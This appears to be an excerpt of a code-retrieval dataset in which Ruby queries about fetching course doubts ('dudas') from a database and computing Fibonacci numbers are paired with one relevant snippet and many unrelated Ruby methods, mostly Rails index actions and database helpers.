query_id
stringlengths 32
32
| query
stringlengths 7
6.75k
| positive_passages
listlengths 1
1
| negative_passages
listlengths 88
101
|
---|---|---|---|
8ff7777b4f7fe9edb6971e9b8b8a4d7d | Obtiene todas las dudas del curso Returns : Devuelve un array con todas las dudas | [
{
"docid": "103f27544c487101b7e45fd003574190",
"score": "0.8392814",
"text": "def dudas\n dudas_curso = []\n datos_dudas_curso = @@db[:dudas_curso].where(id_moodle_curso: @id_curso).select(:id_usuario_duda, :contenido_duda).to_a\n datos_dudas_curso.each { |datos_duda|\n dudas_curso << Duda.new(datos_duda[:contenido_duda], UsuarioRegistrado.new(datos_duda[:id_usuario_duda]))\n }\n\n dudas_curso\n end",
"title": ""
}
] | [
{
"docid": "60740f22800b85e9daaa5b61dc7584c1",
"score": "0.68829024",
"text": "def obtener_dudas_sin_resolver\n dudas_sin_resolver_curso = []\n datos_dudas_curso = @@db[:dudas_curso].where(id_moodle_curso: @id_curso).select(:id_usuario_duda, :contenido_duda).except(@@db[:dudas_resueltas]).to_a\n datos_dudas_curso.each { |datos_duda|\n dudas_sin_resolver_curso << Duda.new(datos_duda[:contenido_duda], UsuarioRegistrado.new(datos_duda[:id_usuario_duda]))\n }\n\n dudas_sin_resolver_curso\n end",
"title": ""
},
{
"docid": "8571a65f3e80c88e7ac04391ac56e852",
"score": "0.6519939",
"text": "def deudas\n @deudas_by_currency ||= _deudas_by_currency\n @deudas_by_currency\n end",
"title": ""
},
{
"docid": "ada6ca9c8c872783383b7316d8f138b3",
"score": "0.63161784",
"text": "def dar_periodos()\n periodos = []\n result_set = self.estudiantemateria.find_by_sql(\"SELECT distinct periodo_id FROM estudiantemateria GROUP BY periodo_id,id\")\n result_set.each do |estudiante_materium|\n periodos.push(estudiante_materium.periodo)\n end\n return\n end",
"title": ""
},
{
"docid": "33b9421c770bd8eaa8098805fb88853d",
"score": "0.6255745",
"text": "def dids\n dids_list ? dids_list.collection : []\n end",
"title": ""
},
{
"docid": "9e902e4725ed79e4644d5a9b46729df6",
"score": "0.62549055",
"text": "def listadados(d)\n\tdatas = Hash.new\n\tdbh\t=\tRDBI.connect(:SQLite3,\t:database\t=>\t\"dbcopas.db\")\n\tsth = dbh.execute('select PAIS.NOME, COPAS.ANO_COPA from REL_COPASPAIS R INNER JOIN COPAS ON COPAS.ID=R.ID_COPAS INNER JOIN PAIS ON PAIS.ID=COPAS.LOCAL WHERE R.ID_PAIS = ' + d.to_s)\n\n\tsth.fetch(:all).each do |i|\n\tdatas[i[0]] = i[1]\n\tend\n\tdbh.disconnect\n\tdatas\nend",
"title": ""
},
{
"docid": "6c3ba9a06eea15a19ac3c7526d0522ca",
"score": "0.62035197",
"text": "def index\n @dudadas = Dudada.all\n end",
"title": ""
},
{
"docid": "68ab0ce1e1bedb1af538eff79df7ac59",
"score": "0.61844575",
"text": "def djinn\n get_all_djinn if @all_djinn.nil?\n return @all_djinn\n end",
"title": ""
},
{
"docid": "23eac822d21eaba1d0ee6d3c04aab11b",
"score": "0.61495626",
"text": "def index\n @duds = Dud.all\n end",
"title": ""
},
{
"docid": "6cf0292f7f571c5589db0a3563c6803c",
"score": "0.6137597",
"text": "def respuestas\n @respuestas = []\n array_dataset = @@db[:respuesta_duda].where(id_usuario_duda: @usuario.id_telegram, contenido_duda: @contenido).to_a\n array_dataset.each do |dataset_respuesta|\n @respuestas << Respuesta.new(dataset_respuesta[:contenido_respuesta], UsuarioRegistrado.new(dataset_respuesta[:id_usuario_respuesta]), self)\n end\n @respuestas\n end",
"title": ""
},
{
"docid": "f02b51948d5490372d9717add7415a36",
"score": "0.6133265",
"text": "def list_datums\n end",
"title": ""
},
{
"docid": "c8d5c189fb7a67793882f30591f903db",
"score": "0.61244816",
"text": "def get_listOfddIDs #{{{2\n listOfddIDs = Array.new\n\n design_details = DesignDetail.find_all_by_extraction_form_id(@ef_id)\n design_details.each do |d|\n listOfddIDs.push d.id\n end\n return listOfddIDs\n end",
"title": ""
},
{
"docid": "1bb98526bfddf18fa977a7827434a941",
"score": "0.6050854",
"text": "def get_ids_seriadas\n ids_array = Array.new\n self.seriadas.each {|seriada| ids_array << seriada.get_id_seriada}\n\n ids_array\n end",
"title": ""
},
{
"docid": "9eecda61d96debbdc9f2123c15fce7c0",
"score": "0.60456544",
"text": "def index\n @duas = Dua.all\n end",
"title": ""
},
{
"docid": "d9cee2aa633a15f309bc6c0fac2306ed",
"score": "0.5995142",
"text": "def atividades\n atividades = []\n # Topicos criados\n self.topicos.each { |t| atividades << t }\n # Comentarios feitos\n Comment.find_comments_by_user(self).each { |c| atividades << c }\n # Apoios/Adesoes\n self.adesoes.each { |a| atividades << a }\n # Seguidos\n self.seguidos.each { |s| atividades << s }\n return atividades.sort!{ |x, y| x.created_at <=> y.created_at }.reverse!\n end",
"title": ""
},
{
"docid": "c9e69ecde383c7a00539a359406ff8ce",
"score": "0.59508353",
"text": "def index\n @dm_dentista = DmDentistum.all\n end",
"title": ""
},
{
"docid": "e8a3b9c06217fdf83f226768cb3bed33",
"score": "0.5933697",
"text": "def index\n @dures = Dure.all\n end",
"title": ""
},
{
"docid": "7d76d26e1b6bb0401085992bcc04370c",
"score": "0.592437",
"text": "def find_denoms\n []\n end",
"title": ""
},
{
"docid": "a2c060f18af0bdd0a06e3a848d466962",
"score": "0.59085685",
"text": "def index\n @dodesus = Dodesu.all\n end",
"title": ""
},
{
"docid": "1bb7d04ddfc63459eb37b7128d8eecad",
"score": "0.58882177",
"text": "def d_lipidos\n\t\treturn @lipidos\n\tend",
"title": ""
},
{
"docid": "068caed5a087f38d754afbe38e383730",
"score": "0.5876795",
"text": "def index\n @detalle_dias = DetalleDia.all\n end",
"title": ""
},
{
"docid": "cb514d7a72836dcaeaaefb3415cd553f",
"score": "0.5870389",
"text": "def monedas\n movimientos.pluck(:monto_moneda).uniq\n end",
"title": ""
},
{
"docid": "4e5825bb85e43711d3d41b41500a0b9e",
"score": "0.58669305",
"text": "def diseases\n return @diseases\n end",
"title": ""
},
{
"docid": "82a3c5bf191d8370dd241362b5fe0ad3",
"score": "0.58541036",
"text": "def readConsultorios\n client = mysqlConnect\n results = client.query('select * from consultorios')\n client.close\n results.each do |row| \n\t @consultorios[row['id']] = row['nombre']\n end\n return @consultorios\n end",
"title": ""
},
{
"docid": "601a3b6bd70c8c2bd228c669567dd81a",
"score": "0.5840821",
"text": "def arGetMultiple(o = nil)\n\t\treturn Datas.find(:all)\n\tend",
"title": ""
},
{
"docid": "b354ae75db5ebfdf3f41200be363562c",
"score": "0.5801768",
"text": "def index\n @dsqus = Dsqu.all\n end",
"title": ""
},
{
"docid": "aa1f34999bed969a56ac850d1f7e11e8",
"score": "0.57942384",
"text": "def show_plantillas\n @plantillas = [[\"\", \"\"]]\n if vistas_manejadas.length > 0\n @plantillas = Heb412Gen::Plantilladoc\n .where(\"vista IN (?)\", vistas_manejadas).select(\"nombremenu, id\")\n .map { |p| [p.nombremenu, \"#{p.id}.odt\"] }\n @plantillas += Heb412Gen::Plantillahcr\n .where(\"vista IN (?)\", vistas_manejadas).select(\"nombremenu, id\")\n .map { |p| [p.nombremenu, \"#{p.id}.ods\"] }\n end\n end",
"title": ""
},
{
"docid": "53824b95eec02d4776f7b7e7462e3822",
"score": "0.5793868",
"text": "def getAllFuncionarios\r\n funcionarios = []\r\n @db.execute('select * from funcionario') do |row|\r\n funcionario = criarFuncionarioFromDados(row)\r\n funcionarios << funcionario\r\n end\r\n funcionarios\r\n end",
"title": ""
},
{
"docid": "de082c8609b539a13d0686c070f77a5d",
"score": "0.5791449",
"text": "def obtener_devoluciones_individuales\n DevolucionHasPedidoshasarticulo.where(pedido_has_articulo_id: self.id)\n end",
"title": ""
},
{
"docid": "01d25111b65dcd1a6c498b47d3c9510b",
"score": "0.5786434",
"text": "def acumuladores\n ReciboSueldo.acumuladores\n end",
"title": ""
},
{
"docid": "cf4a8287cb2dfa7fe9c42c6571896d7d",
"score": "0.57834",
"text": "def get_colaboradores\n #pega todos os id's dos colaboradores\n colaborador = Array.new\n @db.execute 'SELECT id, nome FROM colaboradors' do |c|\n colaborador.push({:nome => c[1], :id => c[0] })\n end\n colaborador\n end",
"title": ""
},
{
"docid": "6451613957351e56f35c8473114e6221",
"score": "0.5748165",
"text": "def index\n @ds = D.all\n end",
"title": ""
},
{
"docid": "fe382ae698c9d008971cb39209237419",
"score": "0.5739958",
"text": "def index\n @unidads = Unidad.all\n end",
"title": ""
},
{
"docid": "fb9b0b9e8714f8ce143a259d3cae3463",
"score": "0.5736736",
"text": "def lista_detalle\n\n end",
"title": ""
},
{
"docid": "bfcaf897c74ae3e6d5273c102a073238",
"score": "0.5710208",
"text": "def vistas_manejadas\n []\n end",
"title": ""
},
{
"docid": "8d71e746296ccb2fd4256cac7554f7d5",
"score": "0.5706104",
"text": "def index\n @daw_grados = DawGrado.all\n end",
"title": ""
},
{
"docid": "298cac5f3c8095abb4a0f16f4872ea03",
"score": "0.57027906",
"text": "def udois\n @dois = Doi.find(:all, :conditions => [\"user_id = ?\", current_user.id])\n end",
"title": ""
},
{
"docid": "44e5dc38d09af9da1d2eec776789561d",
"score": "0.57007855",
"text": "def index\n @dificuldades = Dificuldade.all\n end",
"title": ""
},
{
"docid": "b91ab3afac5feaed5d311586c654dc5d",
"score": "0.56932205",
"text": "def index\n @duenios = Duenio.all\n end",
"title": ""
},
{
"docid": "1ad0a5fd27f4e2d99090075d7f2eb63e",
"score": "0.56918603",
"text": "def donnerUtilisateurs()\n\t\tutilisateurs = Array.new()\n\t\t@utilisateurs.each do |utilisateur| \n\t\t\t\tutilisateurs.push(utilisateur.nom())\n\t\tend\n\t\treturn utilisateurs.sort()\n\tend",
"title": ""
},
{
"docid": "6b67fe760b4c43563a503bf14a4ebd92",
"score": "0.5683384",
"text": "def getAllDays()\n array = [];\n\n (0..6).each do |d|\n array.push([getDay(d), d])\n end\n\n return array\n end",
"title": ""
},
{
"docid": "8a156b4e0e027e511fdd8b56e360d354",
"score": "0.5670047",
"text": "def drips\n drip_collection.values\n end",
"title": ""
},
{
"docid": "8a156b4e0e027e511fdd8b56e360d354",
"score": "0.5670047",
"text": "def drips\n drip_collection.values\n end",
"title": ""
},
{
"docid": "fa3c31cb8f4c83f83e8c70b8149cc89b",
"score": "0.565225",
"text": "def index\n @unidademedidas = Unidademedida.all\n end",
"title": ""
},
{
"docid": "2fa85d1c75ca8c36825294120aabff30",
"score": "0.56510824",
"text": "def ind_distr\n @periodos = Periodo.find(:all)\n end",
"title": ""
},
{
"docid": "2fa85d1c75ca8c36825294120aabff30",
"score": "0.56510824",
"text": "def ind_distr\n @periodos = Periodo.find(:all)\n end",
"title": ""
},
{
"docid": "6e4733050337cd2e5df29aa9ef9b888a",
"score": "0.56502527",
"text": "def gen_rutas_bd\n arts = Sal7711Gen::Articulo.all\n logger.debug \"#{arts.count} archivos referenciados en base de datos\"\n arcbd = Array.new(arts.count)\n i2 = 0\n arts.find_each(batch_size: 100000) do |art|\n rr = File.join(art.created_at.strftime(\"%Y/%m/%d\"), \n art.id.to_s + '_' + art.adjunto_file_name)\n arcbd[i2] = [art.id, rr]\n i2 += 1\n if ((i2 % 1000) == 1)\n logger.debug \"OJO gen_rutas_bd i2=#{i2}\"\n end\n end\n\n arcbd.sort! { |x, y| x[1] <=> y[1] }\n return arcbd\n end",
"title": ""
},
{
"docid": "2b33e44d7d464f7c0bec55f85eb83763",
"score": "0.5639486",
"text": "def data\n all.to_a\n end",
"title": ""
},
{
"docid": "d31e80a63e5f522fc63d153fe4b0666f",
"score": "0.5618987",
"text": "def index\n @derivaciones = Derivacione.all\n end",
"title": ""
},
{
"docid": "1642d2b525361576592f6440c79f6e8e",
"score": "0.56185716",
"text": "def index\n @dato_entidads = DatoEntidad.all\n end",
"title": ""
},
{
"docid": "4ce636ef984f43b5d5bf9249311e810d",
"score": "0.5613641",
"text": "def index\n @libro_diarios = LibroDiario.all\n end",
"title": ""
},
{
"docid": "b3fdf828733799ce0718612e0a0fd1da",
"score": "0.5598495",
"text": "def listeDesChoixPublies\n\n # array contient la liste des choix publies\n choixPublies = Array.new\n\n # récupérer la liste des sondages publies\n # et traiter chaque sondage\n Sondage.where(publier: true, etat: false).order('id_sondage DESC').find_each do |sondage|\n\n # récupérer la liste des questions\n # et traiter chaque question\n Question.where(sondage_id: sondage.id_sondage, etat: false).order('sondage_id ASC, ordre ASC').find_each do |question|\n\n # récupérer la liste des choix\n # et traiter chaque choix\n Choix.where(question_id: question.id_question, etat: false).order('id_choix ASC').find_each do |choix|\n choixPublies << choix\n end\n\n end\n\n end\n \n lesChoix = choixPublies\n\n end",
"title": ""
},
{
"docid": "5df5ee8b4f4474eeeee31f68f50e8afd",
"score": "0.5598335",
"text": "def index\n @dia = Dium.all\n end",
"title": ""
},
{
"docid": "b1df739fe03e7b11651e3bbae0ab4ee6",
"score": "0.559212",
"text": "def index\n @denuncias = Denuncias.all\n end",
"title": ""
},
{
"docid": "2d9baaf82fed29d7a3861b33d45dea14",
"score": "0.55904144",
"text": "def resultados\n\t\thora\n\t\t@arreglo_de_resultados = Result.all\n\t\t@contador=0\n\tend",
"title": ""
},
{
"docid": "17e35e734d2147381fec2111277f5a09",
"score": "0.55856615",
"text": "def index\n @diplomados = Diplomado.all\n end",
"title": ""
},
{
"docid": "e95db1a0a4fe22379c250b1c8a2d8d2e",
"score": "0.5582731",
"text": "def index\n @doseform_doseunits = DoseformDoseunit.all\n end",
"title": ""
},
{
"docid": "bdbd14ee8ef2a7cd548c2900bc9009d9",
"score": "0.55822617",
"text": "def dept_array\n @dept_arry = Array.new([[\"(no department)\", nil]])\n @dept_arry += Department.all.sort_by { |d| d.name }.map { |d| [d.name, d.id]}\n @dept_arry\n end",
"title": ""
},
{
"docid": "b91d16b92509583b98222c216fa1b482",
"score": "0.5580012",
"text": "def listar\n set_service_params\n @params = params\n\n service = DadosAbertosService.new(@service_params)\n request = service.deputados.get\n resource = service.parse(request)\n @lista_deputados = resource['dados']\n\n @proxima_pagina = service.proxima_pagina(@lista_deputados.size)\n end",
"title": ""
},
{
"docid": "86e2fdc95fa0bd8af8a2b027efab0641",
"score": "0.5575271",
"text": "def obtenerSolicitantes()\r\n\t\treturn arregloSolicitantes\r\n\tend",
"title": ""
},
{
"docid": "fa674f57d17d46089eb548e7f5f96cbf",
"score": "0.5572272",
"text": "def busca_profundidade_pre_ordem()\n busca_ordenada = []\n\n @nos.each do |no|\n if no.visitado == -1\n dfsR(no, busca_ordenada)\n end\n end\n \n return busca_ordenada\n end",
"title": ""
},
{
"docid": "25603b22af5b5340f0f571c0eae20bc9",
"score": "0.5570645",
"text": "def index\n @dientes = Diente.all\n end",
"title": ""
},
{
"docid": "3b3b8cc6e5a33db390827cfa52043c41",
"score": "0.55640894",
"text": "def index\n @diadelasemanas = Diadelasemana.all\n end",
"title": ""
},
{
"docid": "2e2aa4e74166cee982eb428384f072e6",
"score": "0.55609655",
"text": "def index\n @days = DiasSemanasEmpresaPerfil.select('dias_semanas_empresa_perfils.dias_semana_id').joins(:empresa_perfil).where(empresa_perfils: {empresa_id: params[:q]})\n list = @days.map {|u| Hash[ id: u.dias_semana_id]}\n render json: list\n end",
"title": ""
},
{
"docid": "99b5c9732134eba4fec498b8713acf34",
"score": "0.55569065",
"text": "def dvds\n @title = \"Nos DVD\"\n @cats = Categorie.all\n @page = params[:page]\n @dvds = Dvd.page(@page).per(6)\n @top = Notesmoyenne.first(3)\n end",
"title": ""
},
{
"docid": "476f1f05e3af7bd0d68a10c45ae7d6be",
"score": "0.5554541",
"text": "def patient_list\n x = ActiveRecord::Base.connection.select_all <<~SQL\n SELECT patient_id FROM #{@database}.ART_patient_in_use\n SQL\n x.map { |id| id['patient_id'].to_i }.push(0).join(',')\n end",
"title": ""
},
{
"docid": "ac021eaf291e30e1f8e3a4d3b2b8ab0c",
"score": "0.554056",
"text": "def index\n @dads = Dad.all\n end",
"title": ""
},
{
"docid": "b1526087790de6c59432d2a7d25f253c",
"score": "0.55395645",
"text": "def retrieve_all_dt\n dt = []\n retrieve_list.each do |result|\n dt << result['dt']\n end\n dt\n end",
"title": ""
},
{
"docid": "d053e5c9bc65bb82d968a4e06609a28f",
"score": "0.5535883",
"text": "def index\n @usuario_unidads = UsuarioUnidad.all\n end",
"title": ""
},
{
"docid": "98fabd56e6147e4c0ad9e1d2a0919ba5",
"score": "0.5533449",
"text": "def index\n @dis_doseunits = DisDoseunit.all\n end",
"title": ""
},
{
"docid": "ebea1762ad8dd816422a7bcba556552b",
"score": "0.55330604",
"text": "def index\n @desocupamiento_recintos = DesocupamientoRecinto.all\n end",
"title": ""
},
{
"docid": "0a7633a292d35f10dc48c8cf22e78c72",
"score": "0.5528094",
"text": "def index\n @denuncia = Denuncium.all\n end",
"title": ""
},
{
"docid": "b052e4ef40ec83a4561950a148129f5e",
"score": "0.55247504",
"text": "def list_aid()\r\n aarr = select(\"*\", \"*\", \"*\", \"*\", \"*\", 0)\r\n len = aarr.length\r\n\r\n aidarr = Array.new\r\n for i in (0..len-1)\r\n aidarr[i] = aarr[i].assay_id\r\n end\r\n aidarr\r\nend",
"title": ""
},
{
"docid": "67c1f479d43d3e51d81b8bc8ef8cd855",
"score": "0.55221254",
"text": "def index\n @diasemanas = Diasemana.all\n end",
"title": ""
},
{
"docid": "c739c2f7dceeedbf4bf0a4ac96145fe8",
"score": "0.55220765",
"text": "def index\n @registro_diarios = RegistroDiario.all\n end",
"title": ""
},
{
"docid": "f86738236b71b628c6cc19479b5f3f90",
"score": "0.55112845",
"text": "def fetch_dois\n url = \"#{api_base_url}#{index_path}?provider-id=#{client_id}\"\n resp = http_get(uri: url, additional_headers: { basic_auth: auth }, debug: false)\n unless resp.present? && resp.code == 200\n handle_http_failure(method: 'Datacite fetch_dois', http_response: resp)\n return []\n end\n json = JSON.parse(resp.body)\n json['data'].collect { |d| d['id'] }.uniq\n # If a JSON parse error occurs then return results of a local table search\n rescue JSON::ParserError => e\n log_error(method: 'Datacite fetch_dois', error: e)\n []\n end",
"title": ""
},
{
"docid": "5f99392c1e8f009da53f54ef7eae7aeb",
"score": "0.55089915",
"text": "def index\n #@distribuidoras = @cidade.distribuidoras\n @insumos = @distribuidora.insumos\n end",
"title": ""
},
{
"docid": "6207d8ec70513db18c095a7196825910",
"score": "0.5502729",
"text": "def index\n @unidades_medida = UnidadeMedida.all\n end",
"title": ""
},
{
"docid": "9f8c3af3554ff962f6e1f97f9319db9c",
"score": "0.5498527",
"text": "def index\n @daw_actividads = DawActividad.all\n end",
"title": ""
},
{
"docid": "3a165387ad594fca5d6c110a0984263c",
"score": "0.5498283",
"text": "def index\n @delicacies = Delicacy.all\n end",
"title": ""
},
{
"docid": "6f5b7e65438f1798b4436bff7747ecfd",
"score": "0.549682",
"text": "def data\n tables_ret = []\n tables.list do |table|\n tables_ret << table.data\n end\n\n {tables: tables_ret}\n end",
"title": ""
},
{
"docid": "ab5316b3538ada43507d40752a4ab06a",
"score": "0.54897046",
"text": "def index\n @dusers = Duser.order(:name)\n end",
"title": ""
},
{
"docid": "44db25ffbd4c7ec1aad65cd32cbea6d8",
"score": "0.54876137",
"text": "def index_plantillas_heb412\n @plantillas = [[\"\", \"\"]]\n @plantillasunr = [[\"\", \"\"]]\n if vistas_manejadas.length > 0\n @plantillas = Heb412Gen::Plantillahcm\n .where(\"vista IN (?)\", vistas_manejadas).select(\"nombremenu, id\")\n .map { |p| [p.nombremenu, p.id] }\n end\n end",
"title": ""
},
{
"docid": "198dd5bc268e8e118ae9e6ef2e025e83",
"score": "0.5481353",
"text": "def data\n @recapiti = Recapito.all.to_a\n end",
"title": ""
},
{
"docid": "e8c221a668f543d5c3c240c283888a54",
"score": "0.54810953",
"text": "def index\n @daw_asignaturas = DawAsignatura.all\n end",
"title": ""
},
{
"docid": "a4f71d0224c1dceec1c683f8ad604275",
"score": "0.5478819",
"text": "def index\n @diplomas = Diploma.all\n end",
"title": ""
},
{
"docid": "9df3358b7fda681b833ed968635863da",
"score": "0.54770494",
"text": "def tables\n @dat.keys\n end",
"title": ""
},
{
"docid": "9c282fb9d95fc396400c69d85c1348f4",
"score": "0.5476615",
"text": "def get_patients\n # @x = Array.new\n # for role in roles\n # @X << [role.authorizable_id, role.Auth\n # end\n end",
"title": ""
},
{
"docid": "9f0b4cf0fb545304cff4f3bf02b63add",
"score": "0.54739803",
"text": "def index\n @diarias = Diaria.all\n end",
"title": ""
},
{
"docid": "bd04843c8e2df5085f468d9d4b14bd0f",
"score": "0.54718024",
"text": "def index\n @dia_semanals = DiaSemanal.all\n end",
"title": ""
},
{
"docid": "1298c3689e582390630bd04e5e494d19",
"score": "0.5470338",
"text": "def get_admin_data\n admin_data = []\n\n admin_data << Course.all\n admin_data << User.all\n\n return admin_data\n end",
"title": ""
},
{
"docid": "bfe93e1c7b4055e9ceffef19448806f4",
"score": "0.5469811",
"text": "def get_list_data\n\t\tlist_data = Array.new\n\t\tlist = get_list\n\t\tlist.each do |item|\n\t\t\tvoc = Voc.find(item)\n\t\t\tvoc.wylie = Functions.disparse_a(voc.wylie)\t\n\t\t\tlist_data.push( voc )\n\t\tend\n\t\treturn list_data\n\tend",
"title": ""
},
{
"docid": "e688b42d694bccacf290f40e15587702",
"score": "0.54619336",
"text": "def descuentos_especiales_deducibles_acum()\n monto_interes_hipotecario = intereses_hipotecarios_deducibles\n monto_descuento_personal_domestico = personal_domestico_deducible\n vida_deducible = seguro_vida_deducible \n retiro_deducible = seguro_retiro_deducible\n aportes_afjp = aportes_voluntarios_afjp_deducibles\n honorarios = honorarios_medicos_deducibles\n cuota_medica = cuota_medica_deducible\n donaciones = donaciones_deducibles\n apply_function_each_month {| mes | monto_interes_hipotecario[mes] + monto_descuento_personal_domestico[mes] + vida_deducible[mes] + retiro_deducible[mes] + aportes_afjp[mes] + honorarios[mes] + cuota_medica[mes] + donaciones [mes] }\n end",
"title": ""
},
{
"docid": "5b842719ef73923874a0742b3e2d7d6f",
"score": "0.5454567",
"text": "def auteurs\n # Trouver tous les uids\n uids = {}\n self.mesures.each do | m |\n uids[m.user_id] = nil unless m.user_id.zero? || uids.has_key?(m.user_id)\n end\n # Faire une requete dans la db pour ces uids\n users = User.select('nom').where(:id => uids.keys)\n noms = []\n users.each { |u| noms << u.nom }\n return noms.join(',')\n end",
"title": ""
},
{
"docid": "00474a220857239b385a6f50170c749a",
"score": "0.54538053",
"text": "def index\n @daw_estudiantes = DawEstudiante.all\n end",
"title": ""
},
{
"docid": "f936ef9c9e1c241acbb518ca25fcca2b",
"score": "0.5452263",
"text": "def index\n @join_on_d_sd_bs = JoinOnDSdB.all\n end",
"title": ""
},
{
"docid": "9219445192ffe887383cf05545c1653c",
"score": "0.54512364",
"text": "def donnerAuteurs()\n\t\tauteurs = Array.new()\n\t\t@utilisateurs.each do |utilisateur| \n\t\t\tif utilisateur.estAuteur?() \n\t\t\t\tauteurs.push(utilisateur.nom())\n\t\t\tend\n\t\tend\n\t\treturn auteurs.sort()\n\tend",
"title": ""
},
{
"docid": "f2ccf6102801826af0b7654cfd0b0fce",
"score": "0.5449349",
"text": "def listeDesSondages\n sondages = Sondage.where(etat: false).order('created_at ASC')\n end",
"title": ""
},
{
"docid": "f2ead5c3c1359ed4779762fb5b82ac3d",
"score": "0.5449163",
"text": "def index\n @daw_codigos = DawCodigo.all\n end",
"title": ""
},
{
"docid": "97178fa21adec48a9348950dd7743a09",
"score": "0.5448663",
"text": "def index\n @dvds = Dvd.all\n end",
"title": ""
},
{
"docid": "97178fa21adec48a9348950dd7743a09",
"score": "0.5448663",
"text": "def index\n @dvds = Dvd.all\n end",
"title": ""
}
] |
4e659acecfdf46fc2a4788ca67dff596 | What is the time complexity? O(n) Fibonacci | [
{
"docid": "c341374cd621bab73bb1d1d8ae377f2b",
"score": "0.0",
"text": "def fibos(num)\n return [0, 1].take(num) if num <= 2\n\n fibs = [0, 1]\n while fibs.length < num\n fibs << fibs[-1] + fibs[-2]\n end\n\n fibs\nend",
"title": ""
}
] | [
{
"docid": "2962b129385aad8aecc5a5a9b131a617",
"score": "0.794201",
"text": "def fib(n)\n\t\t\tif n < 2\n\t\t\t\t1\n\t\t\telse\n\t\t\t\tfib(n - 1) + fib(n - 2)\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "bf9f7b79d706e7e1c4fb0bbb5ec3f6eb",
"score": "0.7941391",
"text": "def fast_fib(n)\n n0, n1, sum = 0, 1, 0\n (n+1).times do |i|\n if i == 0\n sum = 0\n elsif i == 1\n sum = 1\n else\n sum = n0 + n1\n n0 = n1\n n1 = sum\n end\n end\n sum\nend",
"title": ""
},
{
"docid": "be06455255900992bb10c68d282602a4",
"score": "0.7881867",
"text": "def iterative_fib (n)\n a = 0\n b = 1\n \n n.times do \n temp = a\n a = b\n b = temp + b\n end\n \n return a\nend",
"title": ""
},
{
"docid": "b9f2833c5c1b300517d7565dc4ad3fa2",
"score": "0.7873164",
"text": "def fibonacci(n)\n if n == 0\n return 0\n end\n if n == 1\n return 1\n end\n a = 0\n b = 1\n i = 2\n while i <= n\n x = a + b\n a = b\n b = x\n i += 1\n end\n return x\nend",
"title": ""
},
{
"docid": "5d0900a876585e1cca68cf34893c211b",
"score": "0.7867506",
"text": "def fibonacci(n)\n a = 0\n b = 1\n\n # Compute Fibonacci number in the desired position.\n n.times do\n temp = a\n a = b\n # Add up previous two numbers in sequence.\n b = temp + b\n end\n\n return a\nend",
"title": ""
},
{
"docid": "44f6ccf5cf8c64442ad3fc5bd63fcc5e",
"score": "0.7849249",
"text": "def fib(n)\n if n < 2 then\n\t 1\n else\n\t fib(n-2) + fib(n-1)\n end\nend",
"title": ""
},
{
"docid": "44f6ccf5cf8c64442ad3fc5bd63fcc5e",
"score": "0.7849249",
"text": "def fib(n)\n if n < 2 then\n\t 1\n else\n\t fib(n-2) + fib(n-1)\n end\nend",
"title": ""
},
{
"docid": "09c661992190a97c32b1d4a915279fdf",
"score": "0.78483313",
"text": "def fib(n)\n return n if n <= 1\n f0, f1, f2 = 0, 1, 1\n (2..n).each do |i|\n f2 = f0 + f1\n f0 = f1\n f1 = f2\n end\n f2\nend",
"title": ""
},
{
"docid": "9ac75b331cbb2f12b9625f65c6277977",
"score": "0.78469545",
"text": "def fibonacci(n)\n a = 0\n b = 1\n\n # Compute Fibonacci number in the desired position.\n (n + 1).times do\n temp = a\n a = b\n # Adds up previous two numbers in sequence.\n b = temp + b\n end\n\n return a\nend",
"title": ""
},
{
"docid": "bf5f30d3111edd758795d9f29729c6c3",
"score": "0.7837447",
"text": "def fib(n)\n\treturn 0 if n == 0\n\treturn 1 if n == 1\n\n\tfib(n - 1) + fib(n - 2)\nend",
"title": ""
},
{
"docid": "3d451c556619ea6faec51a16bbfa7962",
"score": "0.78360265",
"text": "def fib(n)\n return n if n <= 1\n f = [0, 1]\n (2..n).each do |i|\n f[i] = f[i - 2] + f[i - 1]\n end\n f[n]\nend",
"title": ""
},
{
"docid": "db563643fa2d1885c96a35ca013ae4e7",
"score": "0.7832201",
"text": "def fib(n, a=1, b=1)\n if n == 1 || n == 2 # Base case\n b\n else\n # Linear: O(N)\n fib(n-1, b, a+b) # Tail recursion\n end\nend",
"title": ""
},
{
"docid": "1176854422fcc7ec0ab6b03054426b7f",
"score": "0.78269756",
"text": "def fib_2 n\n a,b = 0,1\n n.times do\n a,b = b,a+b\n end\n a\nend",
"title": ""
},
{
"docid": "9faf5fedbd038dd4c9ccfef3d7e46a8e",
"score": "0.7820208",
"text": "def sum_of_fib(n)\n return fib(n+2)-1;\nend",
"title": ""
},
{
"docid": "17d9655c22607f3b79de344368b87736",
"score": "0.78127176",
"text": "def fib_naive(n)\n return 0 if n == 0\n return 1 if n == 1\n return fib_naive(n-1) + fib_naive(n-2)\nend",
"title": ""
},
{
"docid": "d0bfb90484ec9ffa1468eabd132ee1d0",
"score": "0.78081656",
"text": "def fib(n)\n return 0 if n == 0\n return 1 if n == 1\n return fib(n-1) + fib(n-2)\nend",
"title": ""
},
{
"docid": "d0bfb90484ec9ffa1468eabd132ee1d0",
"score": "0.78081656",
"text": "def fib(n)\n return 0 if n == 0\n return 1 if n == 1\n return fib(n-1) + fib(n-2)\nend",
"title": ""
},
{
"docid": "434841329acd1cf843dc24f828851f0e",
"score": "0.7806233",
"text": "def fibs(n)\n return 0 if n == 0\n return 1 if n == 1\n fibs(n-1) + fibs(n-2)\nend",
"title": ""
},
{
"docid": "9b6ddaf2e8a556faaa666ac9a9843a54",
"score": "0.7804539",
"text": "def fib(n)\n return 0 if n == 0\n return 1 if n == 1\n fib(n-1) + fib(n-2)\nend",
"title": ""
},
{
"docid": "2c78128ca82a84172f0cab03bc21a605",
"score": "0.78023404",
"text": "def fib(n)\n return 0 if n == 0\n return 1 if n <= 2\n\n fib(n - 1) + fib(n - 2)\nend",
"title": ""
},
{
"docid": "990815853776719e8ee60d805a009fc4",
"score": "0.7800534",
"text": "def iFibonacci(n)\n fib = [1, 1]\n \n while fib.length < n\n fib << fib[-1] + fib[-2]\n end\n \n fib\nend",
"title": ""
},
{
"docid": "a4b915caa1ecad6fcaf5aca05582e520",
"score": "0.7799445",
"text": "def fibonacci(num)\n\t\n total = 0\n even_numbers= [1,2]\n\t\n while total <= 4000000\n\t\n total = even_numbers[-2] + even_numbers[-1]\n even_numbers.push(total)\n\t\n end\n \n i = 0\n \n while i < even_numbers.length\n\t\n\tif even_numbers[i] % 2 != 0\n\t even_numbers[i] = 0\n\tend\n\t\n\ti += 1\n end\n\t return even_numbers.inject(:+)\nend",
"title": ""
},
{
"docid": "64eee1e9dfa4c133ffd1892e97e2abf7",
"score": "0.7797266",
